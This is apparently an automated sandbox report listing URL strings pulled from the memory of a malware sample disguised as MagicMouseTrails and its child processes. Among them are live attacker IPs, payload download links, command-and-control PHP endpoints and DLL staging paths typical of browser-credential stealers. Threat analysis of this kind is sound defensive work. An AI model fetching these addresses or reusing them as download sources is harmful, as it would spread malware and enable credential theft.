Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainetup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d0502b12496_MKna.exe#mainl
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2487784931.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2487784931.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/1
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/9
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/BLOB
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/E
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/ER
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/GER
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/Y
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/sql.dllTC
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000045F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000049D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000436000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000049D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80.0.3279
Source: RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80.exe
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80/sql.dll
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000045F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80AF
Source: RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80GH
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80HC
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80b4e8aa51exe
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000049D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80e
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80hellohttps://steamcommunity.com/profiles/76561199761128941b
Source: RegAsm.exe, 0000000C.00000002.2457717800.000000000049D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138:80ocal
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41
Source: RegAsm.exe, 0000000F.00000002.2764817516.000000002D4A0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.php
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.php9a9c4a2f8b514.cdf-ms
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.phption:
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.php~O
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/freebl3.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dllu
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dllI
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/sqlite3.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/sqlite3.dllU
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/vcruntime140.dll
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/D
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/TO
Source: RegAsm.exe, 0000000F.00000002.2764817516.000000002D4A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/p0
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41KFBK
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41x
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403(
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403/
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403C:
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403ace
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403om
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403v
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/$$G
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/X
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF321C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/crazyfish.php
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.php
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.phper
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.phpx
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3254000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/l
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/vider
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF321C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/crazyfish.php
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/twofish.php
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/twofish.phpindows
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeC:
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exejJsvsT
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exerP
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlla
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllS
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dllmo6
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll3
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllE
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll$:
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2433857547.000000002E0E4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php0
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-ms
Source: RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php8
Source: RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php86)O
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpDo6
Source: RegAsm.exe, 0000000B.00000002.2418352695.0000000027373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpow
Source: RegAsm.exe, 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----BAEGCGCGIEGDHIDHJJEHultrelease
Source: RegAsm.exe, 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109IDGIorm-data;
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109a
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://64532127VdtSrezylanAPHTGetSystemInfoGetSystemTimeSleepkernel32.dllSymMatchStringInternetSetOp
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/msal-net-iwa
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://aka.ms/valid-authorities
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512nhttp://docs.oasis-open.org/ws-sx/ws-trust/200512/Be
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/IssueVhttp://schemas.xmlsoap.org/ws/2005/02/trustrht
Source: gHPYUEh253.exe, 00000000.00000003.1748267785.0000013EF51EC000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1749198542.0000013EF528C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1772504097.0000013EF517B000.00000004.00000020.00020000.00000000.sdmp, ZwL0OipB1WfKucHfLydAfltr.exe, 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmp, ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: mozglue[1].dll.15.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmp, mozglue[1].dll.15.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: gHPYUEh253.exe	String found in binary or memory: http://www.softwareok.com/?Download=MagicMouseTrails
Source: gHPYUEh253.exe	String found in binary or memory: http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails
Source: gHPYUEh253.exe	String found in binary or memory: http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails/History
Source: gHPYUEh253.exe	String found in binary or memory: http://www.softwareok.de/?Download=MagicMouseTrails
Source: gHPYUEh253.exe	String found in binary or memory: http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails
Source: gHPYUEh253.exe	String found in binary or memory: http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails/History
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2435711969.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2615082159.000000001FA8D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: gHPYUEh253.exe, 00000000.00000002.1858437926.00007FF72ABAE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/adal-iwa
